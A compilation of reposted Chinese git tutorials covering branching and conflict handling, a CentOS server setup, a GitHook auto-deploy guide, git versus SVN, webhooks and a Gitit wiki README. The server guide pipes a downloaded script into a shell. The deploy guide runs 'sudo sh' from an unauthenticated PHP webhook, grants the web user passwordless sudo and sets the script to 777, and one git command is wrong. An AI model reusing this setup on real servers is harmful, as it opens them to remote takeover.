git服务器普遍使用ssh公钥来授权访问。unix系列环境下，使用ssh-keygen命令创建。


ssh-keygen
cd ~/.ssh
ls id_rsa.pub



将id_rsa.pub文件发给git服务器的管理员，或复制文件中的内容在github的Settings -> SSH keys 页面中添加即可：


https://github.com/settings/ssh



如何创建、管理一个git仓库，是git服务器运维的问题了，这里不做过多的探讨。



	
初始化项目


cd ~/dev/
git clone git@127.0.0.1:path/to/git_test.git
cd ~/dev/git_test
git status






二、本地分支开发


当有一些紧急bug需要修复或者一些小功能的改动，一个人就能轻松搞定，可以使用本地分支来开发。



	
更新本地master分支为最新


cd ~/dev/git_test
git checkout master
git pull




	
建立本地开发分支


git branch -b dev1011




	
在本地开发分支上修改代码


echo "hello git" > hello.txt
git add hello.txt
git commit -am 'add test file hello.txt'
echo "test" > test.txt
git add test.txt
git commit -am 'add test file test.txt'




	
开发完毕后，合并代码到master



	
他人可能在我们开发的时候提交了代码，因此先更新master分支的代码


git checkout master
git pull




	
以最新的master分支代码rebase本地开发分支，如果出现冲突请看第四节：git冲突处理。


git checkout dev1011
git rebase master




	
合并本地开发分支的代码到master


git checkout master
git merge dev1011
git push










三、远程分支开发


远程分支适用于多人协同开发同一个系统或功能的场景。使用远程分支开发，可以避免在master分支上引入不稳定的代码。


远程分支名可以根据开发的独立子系统或模块名称命名，如game、user、api、admin 等等。



	
初始化远程user分支



	
更新本地master分支为最新


cd ~/dev/git_test
git checkout master
git pull




	
以本地master分支为基准新建远程user分支


git push origin master:user








	
在远程user分支开发（日常开发）



	
将远程user分支checkout下来


git checkout user
git pull




	
在本地建立属于自己的开发分支


git checkout -b userdev




	
编写代码


echo 'hello user' > user.txt




	
提交到本地开发分支


git add user.txt
git commit -am 'add user.txt'




	
其他人可能修改了代码，先合并user上变动的内容到本地自己的开发分支


git checkout user
git pull
git checkout userdev
git rebase user




	
合并本地自己的开发分支的代码到远程user分支


git checkout user
git merge userdev
git push




	
切换到本地userdev开发分支，继续开发


git checkout userdev
//coding...






可以看到，这小节的操作步骤，和使用本地分支开发时几乎完全一样，只是将基于master的操作，换成基于user的操作。



	
合并user分支到master


git checkout master
git pull
git checkout user
git rebase master

git checkout master
git merge user
git push




	
更新远程user分支的代码


这时，远程的master，本地的master，本地的develop保持一致；但如果master里被人修改了代码（如修改紧急bug等），远程的user分支的代码并不是最新的了。



	
借用本地master的代码更新远程user分支：


git push origin master:user




	
开发完毕后，可以直接删除远程user分支


git push origin :user




	
开发完毕后，可以删除本地分支


git branch -D user










四、git冲突处理


使用git merge 、git rebase、git pull等命令时，都有可能和别人修改的代码发生冲突。


从本质上说，都是merge 和 patch（应用补丁）时产生冲突。rebase是重新设置基准，然后应用补丁的过程，所以也会冲突。git pull会自动merge，repo sync会自动rebase，所以git pull和repo sync也会产生冲突。



	
逻辑冲突


逻辑冲突实际上git是发现不了的。git merge 或者path成功，但是生成的代码逻辑是有问题的，需要通过完备自动化测试等方式来保障。


可能造成逻辑冲突的情况：



	其他人修改了文件名，我在老文件里做改动

	函数参数、返回值等变化，调用方未做相应修改等  





	
树冲突


两个用户同时修改文件名造成的冲突，称为树冲突。下面是一个用户修改a.txt为b.txt，另一个用户修改a.txt为c.txt造成冲突的情况：


$ git status
    added by us:    b.txt
    both deleted:   a.txt
    added by them:  c.txt



如果最终确定使用b.txt，执行如下操作：


git rm a.txt
git rm c.txt
git add b.txt
git commit



树冲突也可以用git mergetool来解决，用d 删除不要的文件，用c保留需要的文件，最后执行git commit提交。



	
内容冲突


内容冲突是最常见的情况，两个用户修改了同一个文件的同一块区域，git会报告内容冲突。


一般情况下，出现冲突时都会有“CONFLICT”字样，并提示哪些文件有冲突。


当repo sync报错时，可能并不直接提示冲突，而是下面这样：


error: project mini/sample



可以通过rebase解决：


git rebase remote-branch-name



merge/patch的冲突解决


当某个文件有冲突产生时，git会在冲突的地方做标记。下面是一个有冲突的文件，冲突标记<<<<<<< （7个<）与=======之间的内容是我的修改，=======与>>>>>>>之间的内容是别人的修改；此外，没有任何其它垃圾文件产生。


$ vim conflict.txt

    <<<<<<< HEAD
    //my changes
    =======
    //other's changes
    >>>>>>> commit log



直接编辑文件中被标记的地方，将不需要的代表和冲突标记删除。并执行 add、commit操作


git add conflict.txt
git commit



rebase的冲突解决


rebase的冲突解决过程，就是解决每个应用补丁冲突的过程。


按照上面的操作编辑每一个冲突文件，并一一执行git add 的操作，然后执行下面的命令继续rebase操作：


git rebase --continue



有冲突继续解决，重复这这些步骤，直到rebase完成。


如果中间遇到某个补丁不需要应用，可以用下面命令忽略：


git rebase --skip



如果想回到rebase执行之前的状态，可以执行：


git rebase --abort



rebase之后，不需要执行commit，也不存在新的修改需要提交，都是git自动完成。





原文链接：http://tabalt.net/blog/use-git-in-project/


 基于 Github Issues 的单页面静态博客

作者：耗子吴

来源： 基于 Github Issues 的单页面静态博客



                    
玉伯的博客 https://github.com/lifesinger/lifesinger.github.com/issues 让我第一次知道 github issues 还可以这样用 ，作者发了很多干货技术文章，让我不由得感叹 ，文章不在于形式，也不在于写在哪里，只要是好文，总不会被埋没。


即便如此，很多人仍然希望能有一个独立域名、可以自由修改主题的博客。Wordpress 、Typecho 太重，还要买 VPS、部署服务器环境、安装插件、主题，太折腾人，于是我想，完全可以利用 Github 提供的 API 来实现一个只有一个静态页面的博客，具体思路如下：



	作者在 Github issues 上写文章（写 issues）

	博客页面通过 JS Ajax 请求 Github API 来获取文章内容，进行页面的渲染

	通过社会化评论插件实现评论功能



于是花了几天时间实现了这个设想， 项目地址：https://github.com/wuhaoworld/github-issues-blog，内有部署相关文档。


DEMO：http://wuhaoworld.github.io/  ,内容是读取的玉伯博客的 issues。





PS：使用到的技术：



	
Ractive.js 做模板

	
Director.js 做路由

	
markdown-js 做 markdown 的解析




 前端 CentOS7 新服配置参考

作者：Amio

来源： 前端 CentOS7 新服配置参考



                    
我自己搭服务器的偏好是 CentOS，每次开新服都要执行一遍环境配置，步骤繁多难免遗漏，总是发现缺东西了再去安装。备个忘，再不烦恼。

本文介绍的组件包括：git, nginx, nodejs, fishshell，环境是 DigitalOcean 的 CentOS 7 镜像（6就不管了，初建服务器你还不用最新版是何居心？）。

小安利下，我的DigitalOcean 推荐链接，注册即得10美元（推荐双方都有），开服愉快！



CentOS 新服务器

首先安装 epel-release，各种软件包都依赖于这个软件源

$ yum update -y
$ yum install -y epel-release
$ yum install -y git

一点安全措施


	启用 SSH 密钥登陆。编辑 ~/.ssh/authorized_keys，添加自己的公钥进去。


	禁用密码登陆。编辑 /etc/ssh/sshd_config，启用以下几行：




PubkeyAuthentication            yes
AuthorizedKeyFile               .ssh/authorized_keys
PasswordAuthentication          no
ChallengeResponseAuthentication no

然后重启 sshd 服务：

$ service sshd reload

https://www.liberiangeek.net/2014/07/enable-ssh-key-logon-disable-password-password-less-logon-centos/
http://serverfault.com/questions/285800/how-to-disable-ssh-login-with-password-for-some-users
http://askubuntu.com/questions/387892/how-to-deny-root-ssh-login-require-ssh-key-for-user

nginx 启动！

$ yum install nginx -y

http://www.rackspace.com/knowledge_center/article/centos-adding-an-nginx-init-script

Node 和它的朋友们

$ yum install nodejs -y
$ curl https://www.npmjs.com/install.sh | sh
$ npm install -g n pm2

最后，需要在 ghost 的 nginx 配置中添加一行 client_max_body_size 10G; 像这样：

server {
    listen       80;
    server_name  ~b(log)*.amio.us$;

    client_max_body_size 256M;
    
    # ...
}

Oh-my-fish!

下面是一些个人喜好，装个 fish shell。

$ yum install yum-utils
$ yum-config-manager --add-repo http://fishshell.com/files/linux/RedHat_RHEL-6/fish.release:2.repo
# CentOS 7 用这个地址：
# http://download.opensuse.org/repositories/shells:fish:release:2/CentOS_7/shells:fish:release:2.repo
$ yum install fish -y

# 把默认 shell 改为 fish
$ chsh -s /usr/bin/fish



如果 fish 报告错误：

fish: Tried to print invalid wide character string

则编辑此文件：

$ vim /etc/sysconfig/i18n
# 把其中的 LANG=C 改为 LANG=en_GB.UTF-8

http://serverfault.com/questions/275403/how-do-i-change-my-locale-to-utf-8-in-centos


 利用 GitHook 构建持续交付和部署

作者：Coding_net

来源： 利用 GitHook 构建持续交付和部署



                    
原文地址：https://blog.coding.net/blog/GitHook-for-delivery-and-deployment



1、为什么要打造可持续交付和部署

软件发布是一个令人头痛的过程，非常耗时且风险很高。对于小团队来说一般分为两种：“签入时交付”和“定时交付”。

“签入时交付”策略的优势在于马上产生的满足感。根据代码库的规模，从签入新功能代码到能够在交付准备服务器上测试，一两分钟就够了。

这种方式的主要问题在于：交付准备服务器会被蹂躏得不稳定。很多时候，我见到有人试图测试某个功能，突然新的版本推到交付准备服务器上了，破坏了正在运行的测试。更糟糕的是：交付准备服务器常常作为演示服务器使用，在某些重要的演示时，很可能出现严重的后果。

定期交付策略更易于预测。所有人都知道交付何时启动，并可以规划自己的代码签入是在交付之前还是之后进行。典型做法是一天构建/交付一次或两次。

由于架构的特殊性，服务器将会越来越多。试想一下你要在几十台服务器上更新代码是一件多么繁琐的事情。对于我们公司来说面临着严重的如何更快交付和部署代码的问题。

我们需要将经历过测试的代码能够迅速部署到服务器上，本来考虑过jekins，但jekins对我们来说又太过繁琐。

2、交付与部署过程

目前我们使用的是阿里云服务，阿里云服务有个很方便的地方就是镜像，一次制作整个集群都可以使用。

工程师将代码上传到开发环境的库中，通过GitHook自动让测试用的服务器更新代码，测试完成后只要将相关的代码稍稍修改为生产环境的配置并上传到生产环境的Git库，通过GitHook所有与这个库有关的服务器都会自动更新代码。

测试的具体过程就不在此论述了。

3、GitHook

我们来看下官方解释：

钩子(hooks)是一些在"$GIT-DIR/hooks"目录的脚本, 在被特定的事件(certain points)触发后被调用。当"git init"命令被调用后, 一些非常有用的示例钩子文件(hooks)被拷到新仓库的hooks目录中; 但是在默认情况下这些钩子(hooks)是不生效的。 把这些钩子文件(hooks)的".sample"文件名后缀去掉就可以使它们生效了。

简单地来说有点类似回调，就是特定事情完成后回调执行事件。

4、如何搭建

我们公司使用的是coding、服务器上是已经装好jetty的ubuntu，不过github、gitlab跟这个的配置方法类似。

Git-SSH

首先现在coding上建立一个代码库，然后在生产环境上的代码部署的地方git clone刚刚新建的代码库。

没有git的要安装git，ubuntu下是apt-get install git

为了让git能够自动更新代码库而不需要输入账号密码，这时候就需要用到git-ssh了。

如果是第一次使用要先设置git的名字和邮箱（自己随便取个名字和邮箱就行）：

git config --global user.name "test"

git config --global user.email "test@zomake.com"

然后通过上一个命令输入的邮箱来生成密钥

ssh-keygen -t rsa -C "test@zomake.com"

如果不需要设置密钥的密码的话，直接三个回车。然后你就在命令行上看到生成了两个文件：id_rsa和id_rsa.pub。

（如果不是第一次的话执行命令会提示overwrite，输入y就行。）

然后我们把密钥交给ssh-agent来管理，可以通过eval "$(ssh-agent -s)" 看看是不是正常运行，是的话会输出它的pid。

ssh-add ~/.ssh/id_rsa

用上面这个命令将刚刚生成的私钥交给ssh-agent。路径填你在终端上看到的。

登录coding，点击账户-SSH公钥-添加。将之前生成的id_rsa.pub里的内容复制进去。

最后进到之前clone下来的代码库中修改.git文件夹下config中的url，改为远端仓库的SSH访问地址，如git@git.coding.net:t-baby/test.git

这样一来在服务器上git就无需输入账号密码了。

准备update.sh

cd /vi git_update.sh 

然后将下面的东西复制进去并保存：

#!/bin/bash

cd /opt/jetty/webapps

git remote update -p

git checkout -f origin/master

git submodule update --init

service jetty restart 

第二行和最后一行根据需要自行更换，因为我们的代码是Java的，放在jetty中运行。将第二行的cd改成你自己的代码所在目录。而最后一行代码是用来重启jetty服务器的，你可以去掉或加上自己服务器的重启代码。

保存后给这个脚本文件777的权限。

准备githook.php

由于一些原因，为了方便我们使用了php作为GitHook回调的地址。

先装好PHP环境并修改端口为8080，apache默认文件夹为/var/www（80已经被jetty占了，具体安装方法见我另一篇文章）

在/var/www/中新建一个叫githook.php，然后放入以下代码：

shell_exec('cd /var/www && php gitpull.php');

然后再在当前文件夹下建个gitpull.php

$pid = pcntl_fork();
if ($pid == -1){
} else if ($pid > 0){
$fs = fopen('./git_hook.log', 'a');

fwrite($fs, 'Request on ['.date("Y-m-d H:i:s").']'.PHP_EOL);

$json = file_get_contents('php://input');
$data = json_decode($json, true);
fwrite($fs, 'Data: '.print_r($data, true).PHP_EOL);

fwrite($fs, '======================================================================='.PHP_EOL);
$fs and fclose($fs);

pcntl_wait($status); 

} else if ($pid == 0){

exec('sudo sh /git_update.sh &');
}

执行git_update.sh更新git仓库。

为什么要这样做呢。因为coding的webhook的等待时间是写死的，要5秒内有反应，这就会导致包含一些需要时间的命令会让webhook的地址验证不成功，从而在push后不回调到地址上。

所以我们用了多进程来让其中一个执行日志的记录，另一个负责执行sh文件。

填入回调地址

紧接着我们在coding中打开部署用的代码库，左侧点击设置-WebHook。比如我们刚刚的是 http://111.111.111.111:8080/githook.php。

（ps：直接填写IP可以减少域名解析所耗费的时间）

给apache权限

聪明的朋友们测试的时候肯定发现了问题，exec里面的代码并不执行怎么办？其实很简单是因为apache的权限不够，只要给予权限就行。

我们可以先通过lsof -i:80看看apache的执行用户是谁。



比如我这里是www-data用户，然后执行visudo。



然后找到图片上的位置修改成图片上那样，后面那行www-data是要自己添加的。接着保存。保存的话就是ctrl+x然后回车。

这样就可以让apache不需要密码就可以用管理员权限执行了。

赶紧测试下看看是不是成功了！

如何部署代码以及结论

现在只要你一更新仓库的代码，就会自动回调到githook.php从而让服务器自动更新代码。即使多几台服务器也是一样的，最简单的方法就是利用公有云服务的镜像功能做成镜像装在集群中的其它机器，然后在coding的WebHook那里加上这些服务器的IP就行。

这应该是全网最完善的相关教程了吧。自己靠着百度到很多不完整的资料琢磨了一天然后写下此教程。找教程。。。最后别太相信百度到的，血的教训~。


 现在开始，用git去管理你的代码

作者：wind3110991

来源： 现在开始，用git去管理你的代码



                    
一.为什么我要用git来管理代码？


开始本文前，首先让我来抛砖引玉：svn和git到底有什么区别

相信读过 蒋鑫《git权威指南》的同学都大概了解了git和Subversion的区别和优劣了。

那么，为什么我要用git，原因大概有5个：



1.GIT是分布式的，SVN不是


GIT跟SVN一样有自己的集中式版本库或服务器。但，GIT更倾向于被使用于分布式模式，也就是每个开发人员从中心版本库/服务器上chect out代码后会在自己的机器上克隆一个自己的版本库。可以这样说，如果你被困在一个不能连接网络的地方时，就像在飞机上，地下室，电梯里等，你仍然能够提交文件，查看历史版本记录，创建项目分支，等。对一些人来说，这好像没多大用处，但当你突然遇到没有网络的环境时，这个将解决你的大麻烦。


2.GIT把内容按元数据方式存储，而SVN是按文件


所有的资源控制系统都是把文件的元信息隐藏在一个类似.svn,.cvs等的文件夹里。如果你把.git目录的体积大小跟.svn比较，你会发现它们差距很大。因为,.git目录是处于你的机器上的一个克隆版的版本库，它拥有中心版本库上所有的东西，例如标签，分支，版本记录等。


3.GIT分支和SVN的分支不同


分支在SVN中一点不特别，就是版本库中的另外的一个目录。如果你想知道是否合并了一个分支，你需要手工运行像这样的命令svn propget svn:mergeinfo，来确认代码是否被合并。所以，经常会发生有些分支被遗漏的情况。


然而，处理GIT的分支却是相当的简单和有趣。你可以从同一个工作目录下快速的在几个分支间切换。你很容易发现未被合并的分支，你能简单而快捷的合并这些文件。


4.GIT没有一个全局的版本号，而SVN有


目前为止这是跟SVN相比GIT缺少的最大的一个特征。你也知道，SVN的版本号实际是任何一个相应时间的源代码快照。我认为它是从CVS进化到SVN的最大的一个突破。因为GIT和SVN从概念上就不同，虽然我不知道GIT里是什么特征与之对应。


有人说，我们可以使用GIT的SHA-1来唯一的标识一个代码快照。这个并不能完全的代替SVN里容易阅读的数字版本号。但，用途应该是相同的。



5.GIT的内容完整性要优于SVN


GIT的内容存储使用的是SHA-1哈希算法。这能确保代码内容的完整性，确保在遇到磁盘故障和网络问题时降低对版本库的破坏。

stackoverlflow里有一个很好的关于GIT内容完整性的讨论 http://stackoverflow.com/questions/964331/git-file-integrity


二.简单git的使用－－让版本控制更为简单


以我在vps(centOS 6.5)和mac OS 10.10之间进行版本库代码管理为例：


ssh root@vpsip



登陆之后，我创建一个git版本库，让我们暂时取名为“test”





ls命令之后文件目录为.    ..    .git



ok，初始化版本库后，让我们来写个c程序。


vim hello.c

#include<stdio.h>

int main(){
    printf("Hello");
    return 0;
}



看到现在目录下的文件：





但是，现在我们的版本库test中其实还没有hello.c这个文件，这是为什么呢？

原来我们需要把对版本库内的更改add到git代码版本库里。


git add .



(说明下，用“.”代表把所有当前的更改添加进去，如果你要添加某一个文件，就把“.”替换成对应文件名)


接下来就是把所有更改“提交”到版本，那么我们就完成了版本库的修改。


git commit -m"输入信息"






输出信息中“100644”对应当前版本的编号。

举个例子，要是某一天你手贱不小心把文件提交错了，那么你可以回到任意之前的版本。


git branch



这个命令可以查看你的目前分支，master称为主分支，其他分支可以通过与master的“merge”（合并）操作合并到一起。

比如你们团队开发一个社交app，客户说，我下一个版本需要ABCD四个功能，那么，负责ABCD四个功能的四个负责人就去对应开发相应功能的分支。最后，通过merge操作，合并到一起，项目就能如期交付了～～


ok，现在让我们回到Mac OS，现在我需要用到vps上的hello.c代码，那么，我需要从远程版本库里“克隆”一份到我的本地。


cd /desktop/github/

git clone ssh://root@vpsip:/var/web/test

看到执行结果：
remote: 对象计数中: 3, 完成.
remote: 压缩对象中: 100% (2/2), 完成.
remote: Total 3 (delta 0), reused 0 (delta 0)
Receiving objects: 100% (3/3), done.
Checking connectivity... done.
promatoMBP:github pro$ 






本地也有了！


这里有必要提一下pull和push的区别：


比如现在我在vps修改了版本库，那么本地Mac OS端不会自动同步远程的修改，这时我们下次需要把远程的代码库拉（pull）下来。近似相当于svn里的update操作。


git pull



当我们要把Mac OS修改的信息更新到远程，那么就推（push）过去。


git push



注意！


当本机上提交到vps的branch为vps的当前branch时，vps的git会拒绝更新，个中缘由可以很轻易地猜测出来：当vps上也在编辑时，允许更新会带来混淆。当然，可以通过git reset –hard手动更新。现在的问题是，如何自动检测到提交请求然后允许git reset –hard命令。这里要用到git的钩子方法。


进入vps的版本库test，然后按下列命令执行：


cd ..
env -i git reset --hard
chmod a+x .git/hooks/post-receive



目的在于将其设置为可以执行，然后vps就会接受本地的push了。


三.让我们聊聊github


在V2EX上，在stackoverflow上，在面试简历上，把自己的githubID简历贴到个人信息中，对于自己绝对是一个加分项。不要和我聊什么开源中国。。。虽然我没有鄙视国内开源项目的意思，毕竟还是有很多大牛（比如clowwindy的shadowsocks）做出了优秀的开源项目。

而“开源”一词，则是github的核心，它的伟大在于，用git的方式控制代码，用GNU的精神去开源推动IT的发展。

想google code当年也没有想到github的发展会如此迅猛，以致于后来google code被迫关闭。对于我这个Pythoner，像Django，Tornado，Flask，GoAgent，Linux等等优秀的开源项目，给了我极大的学习空间。

让我们再来看看Linus大神在github的表现（毕竟git也是Linus团队的产物）。





我要说那么多在于，在github上，尝试做一些开源项目，尝试去把自己的代码放上去（下载windows或者Mac版），对于自己，绝对会有很大的提升。


So，Let's start to git yourself.


(作者：骏宇，转载请注明本文来源http://www.shadowtrees.com)


 使用Git webhook来展示项目提交记录

作者：miracledan

来源： 使用Git webhook来展示项目提交记录



                    


序

当你默默撸代码的时候，是否想过让大家看到你卖力搬砖的过程
当你有一个团队的时候，是否想把团队的运作展示到项目主页上

Webhook

要实现这样的功能并不难，现在的主流Git平台都提供了webhook接口，可以把git仓库操作事件推送到指定的服务器上。

常用Git平台（无需翻墙）



	平台
	托管
	git事件支持





	github
	公开项目免费，私有项目收费
	所有



	oschina
	免费
	PUSH



	coding
	基础版本免费
	Push/MR/PR/Topic/Task/Document/Watch/Star



	gitcafe
	公开项目免费，私有项目收费
	Push/Ticket/Pull Request/Ticket Comment/Pull Request Comment





raindrop网当前支持接收github, oschina, coding的PUSH事件

如何配置webhook

Github配置


	打开项目设置



	选择左侧 Webhooks & services


	在 Webhooks 一栏点击 Add webhook


	
填写关键信息


	Payload URL：服务器接受推送事件的路由接口（例：如果使用raindrop网来接受数据，配置为http://www.yudianer.com/api/github/webhook/你在raindrop网建立的项目名称）


	Content type：服务器推送事件数据的类型，推荐使用application/json（raindrop网当前接受的是json类型），比较容易处理。


	Secret：用于服务器校验，防止恶意推送。






	选择需要推送的事件类型（raindrop网当前支持PUSH事件）


	保存设置




oschina配置


	打开项目主页


	打开项目管理页面



	在左侧菜单栏选择WebHook钩子


	
填写关键信息：


	POST URL：服务器接受推送事件的路由接口（例：如果使用raindrop网来接受数据，配置为http://www.yudianer.com/api/oschina/webhook/你在raindrop网建立的项目名称）


	密码：用于服务器校验，防止恶意推送。






	点击添加按钮。oschina可以把事件同时推送到多个服务器。




coding配置


	打开项目主页


	打开项目设置页面



	在左侧菜单栏选择WebHook





	新建hook，填写关键信息：


	
URL：服务器接受推送事件的路由接口（例：如果使用raindrop网来接受数据，配置为http://www.yudianer.com/api/coding/webhook/你在raindrop网建立的项目名称）

	token：用于服务器校验，防止恶意推送。








如果你将事件推送到了raindrop网，当你每次提交数据后，都可以在项目主页中看到你的提交次数统计。（可以装b咯）






 Gitit Bigger: 最好的个人Wiki/文档方案（Git、Markdown、Bootstrap、Ace、Docker）

作者：shajiquan

来源： Gitit Bigger: 最好的个人Wiki/文档方案（Git、Markdown、Bootstrap、Ace、Docker）



                    
Gitit Bigger

Gitit Bigger: Git and Markdown based wiki, Bootstrap, ace Editor, syntax highlight and docker deploy support.

基于 Git 和 Markdown 的超棒的 Wiki 系统，Bootstrap、Ace 编辑器等增强，支持 Docker 部署。

开始 Start Bigger

假定你已安装 Git 和 Gitit



	普通版




git clone https://github.com/shajiquan/gitit-bigger ~/workspace/gitit;
cd ~/workspace/gitit;
cp sample.gitit.conf my-gitit.conf;
./run/run.sh start;

	Docker 版




docker run -d --name gitit -p 7500:7500 shajiquan/gitit;

访问：http://127.0.0.1:7500

Demo & Screeenshots

Demos


	Gitit Bigger：http://wiki.shajiquan.com/gitit-bigger (Read Only)


	Gitit 官方：http://gitit.net




截图 Screenshots

查看 View


	view.png


	view-ipad-mini.png


	view-iphone6.png




编辑 Edit


	edit.png


	edit-ipad-mini.png


	edit-iphone6.png




Gitit 主要特性


	无数据库


	Git 版本控制


	Markdown 格式


	
Wiki 化：


	子目录，无限目录（这也是我抛弃其他一些类似 wiki 系统的原因）


	中文目录、中文标题、中文分类


	完美支持中文搜索


	支持分类


	支持自定义标题






	代码高亮


	支持公式等（我基本不用）


	导出 epub 等（基于 pandoc）




更多关于 Gitit 的安装、部署、优化的中文介绍和说明，请见:


	gitit_base.md 简介、安装、部署


	gitit_config.md 配置




Gitit Bigger VS Gitit


	Bootstrap 模板


	Ace Editor


	
Ace Editor 的编辑模式已设为 markdown。


	支持代码高亮


	搜索、替换（cmd+option+f）


	Tab 缩进、恢复（tab、shift+tab）


	快捷键


	...






	采用配置文件方式启动，多个实例轻松共享资源


	支持自定义 Ace 编辑器启用/禁用、模式、样式等配置


	支持 Markdown 模式下快捷键


	数学公式：支持 MathJax 启用/禁用，自定义 MathJax 源


	代码高亮：支持使用 highlight.js 高亮代码 - Gitit 的高亮需要服务端支持


	增加启动、部分、自动备份脚本或帮助




注意：wikidata 仓库

请注意检查你的 wikidata/ 目录的 git 配置。请注意：


	wikidata 文件夹是一个本地仓库，所有的 wiki 页面都将保存到此处；


	Gitit 启动时，会检查这个文件夹是否存在，如果不存在，Gitit 将会创建它，并初始化它为一个本地仓库


	只有提交到仓库里的文件，才会被 Gitit 添加到 wiki 中。


	
如果你想要将此仓库与你的远程仓库绑定、同步：你需要：


	clone 你的 wiki 仓库到 wikidata 文件夹：git clone your-wikidata.git ./wikidata，或者：


	运行 git remote 相关命令，使 wikidata 文件夹和你的远程仓库连接起来；








# 如果  wikidata 文件夹尚不存在
cd ~/workspace/gitit
git clone your-wikidata.git ./wikidata
git branch --set-upstream-to=origin/master master
# 启动 gitit 服务: ./run/run.sh start

# 如果 wikidata 已经存在，但并没有和你的远程仓库绑定
cd wikidata
git remote add origin path/to/your-wikidata.git
git branch --set-upstream-to=origin/master master
# 启动 gitit 服务: ./run/run.sh start

配置、自定义 JS/CSS

Gitit Bigger 提供一定程度的配置。

你可以通过在 templates/page_more_scripts.st 里定义 BIGGER_SETTINGS_APPEND 对象来覆盖默认配置。

包括：


	ace 编辑器


	markdown


	MathJax 数学公式插件


	highlightjs 代码高亮


	Google Analytics 统计




详情见：gitit_bigger_config.md

工具 Utils


	启动控制


	批量修改扩展名


	自动备份辅助




详情见：- gitit_bigger_utils.md

通过 Shell 编辑 wiki

不通过 web界面，也可以操作我们的 Gitit Wiki。背景：


	wikidata: wiki pages 的仓库


	只有提交到仓库里的文件，才会被 Gitit 添加到 wiki 中。





# 进入 wikidata 目录
cd /path/to/your/wikidata

# 新增文件并输入一些字符串
touch new_page.md
echo "hello shajiquan" >> new_page.md

# 添加新文件到仓库
git add new_pge.md
git commit -m "add new_page.md file"

# 更新文件并提交到仓库
echo "new line" >> old_page.md
git add old_page.md
git commit -m "update old_page.md "

# 推送到远程仓库
git push origin master

多个实例

通过配置文件的方式，可以轻松运行多个 Gitit 实例。除 wiki.shajiquan.com 外，我也运行了另外的实例来做私人笔记。


	cp sample.gitit.conf my-gitit-private.conf;


	更新 my-gitit-private.conf 里的相关配置，尤其是：端口、wikidata 目录（详见gitit_config.md 配置）


	启动新实例：gitit -f my-gitit-private.conf




注意


	如果 my-gitit.conf 和 my-gitit-private.conf 这两个实例使用不同的用户，可能会造成 cookies 的混乱。


	在服务端时，可考虑使用 nginx 做反向代理，为每个实例绑定一个二级域名。


	在本地时，可以用 localhost 和 127.0.0.1 一类的来处理 cookie 域问题。




Docs


	Gitit 简介、安装、部署


	Gitit 配置项介绍


	Gitit-Bigger-Docker 版介绍


	Gitit-Bigger 定制说明


	Gitit-Bigger 工具.md




反馈、建议、联系


	Github Issues：https://github.com/shajiquan/gitit-bigger/issues


	Email: shajiquan@gmail.com


	QQ: 2848559858




ChangeLog

v0.1.2

	对内容区的图片做了响应式处理，不会再撑烂页面




v0.1.1


	重写文档


	增加一些小配置项




v0.1beta


	新增配置方式；


	修复 MathJax JS 文件引入错误；




v0.0.0.1

	初步实现，整合 ace、markdown、highlightjs 等




Links


	Github：https://github.com/shajiquan/gitit-bigger


	DockreHub：https://hub.docker.com/r/shajiquan/gitit


	Demo: http://wiki.shajiquan.com/gitit-bigger (Read Only)


	gitit official site: http://gitit.net


	gitit official github: https://github.com/jgm/gitit


	在Archlinux上部署gitit Wiki: http://www.360doc.com/content/12/0518/21/21412_211977928.shtml


	Gitit - git based wiki: http://walkingice.blogspot.hk/2011/11/gitit-git-based-wiki.html


	Hyzual/docker-gitit: https://github.com/Hyzual/docker-gitit


	Gitit Bootstrap 模板：Changaco/gitit-bootstrap


	Gitit ace editor 支持 Getting the Ace editor to work with gitit





 Git基础操作

作者：Jacendfeng

来源： Git基础操作



                    
Git入门的好文章，转载自青豆前端 » git基础 – 记录每次更新到仓库

记录每次更新到仓库


现在我们手上已经有了一个真实项目的 Git 仓库，并从这个仓库中取出了所有文件的工作拷贝。接下来，对这些文件作些修改，在完成了一个阶段的目标之后，提交本次更新到仓库。


请记住，工作目录下面的所有文件都不外乎这两种状态：已跟踪或未跟踪。已跟踪的文件是指本来就被纳入版本控制管理的文件，在上次快照中有它们的记录，工作一段时间后，它们的状态可能是未更新，已修改或者已放入暂存区。而所有其他文件都属于未跟踪文件。它们既没有上次更新时的快照，也不在当前的暂存区域。初次克隆某个仓库时，工作目录中的所有文件都属于已跟踪文件，且状态为未修改。


在编辑过某些文件之后，Git 将这些文件标为已修改。我们逐步把这些修改过的文件放到暂存区域，直到最后一次性提交所有这些暂存起来的文件，如此重复。所以使用 Git 时的文件状态变化周期如图 2-1 所示。
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图 2-1. 文件的状态变化周期


检查当前文件状态


要确定哪些文件当前处于什么状态，可以用 git status 命令。如果在克隆仓库之后立即执行此命令，会看到类似这样的输出：


$ git status
On branch master
nothing to commit, working directory clean



这说明你现在的工作目录相当干净。换句话说，所有已跟踪文件在上次提交后都未被更改过。此外，上面的信息还表明，当前目录下没有出现任何处于未跟踪的新文件，否则 Git 会在这里列出来。最后，该命令还显示了当前所在的分支是 master，这是默认的分支名称，实际是可以修改的，现在先不用考虑。下一章我们就会详细讨论分支和引用。


现在让我们用 vim 创建一个新文件 README，保存退出后运行 git status 会看到该文件出现在未跟踪文件列表中：


$ vim README
$ git status
On branch master
    Untracked files:
    (use "git add <file>..." to include in what will be committed)
    README
nothing added to commit but untracked files present (use "git add"     to track)



在状态报告中可以看到新建的README文件出现在“Untracked files”下面。未跟踪的文件意味着Git在之前的快照（提交）中没有这些文件；Git 不会自动将之纳入跟踪范围，除非你明明白白地告诉它“我需要跟踪该文件”，因而不用担心把临时文件什么的也归入版本管理。不过现在的例子中，我们确实想要跟踪管理 README 这个文件。

跟踪新文件


使用命令 git add 开始跟踪一个新文件。所以，要跟踪 README 文件，运行：


$ git add README



此时再运行 git status 命令，会看到 README 文件已被跟踪，并处于暂存状态：


$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
new file: README



只要在 “Changes to be committed” 这行下面的，就说明是已暂存状态。如果此时提交，那么该文件此时此刻的版本将被留存在历史记录中。你可能会想起之前我们使用 git init 后就运行了 git add 命令，开始跟踪当前目录下的文件。在 git add 后面可以指明要跟踪的文件或目录路径。如果是目录的话，就说明要递归跟踪该目录下的所有文件。（译注：其实 git add 的潜台词就是把目标文件快照放入暂存区域，也就是 add file into staged area，同时未曾跟踪过的文件标记为需要跟踪。这样就好理解后续 add 操作的实际意义了。）

暂存已修改文件


现在我们修改下之前已跟踪过的文件 benchmarks.rb，然后再次运行 status 命令，会看到这样的状态报告：


$ git status
On branch master
Changes to be committed:
    (use "git reset HEAD <file>..." to unstage)
new file: README
Changes not staged for commit:
    (use "git add <file>..." to update what will be committed)
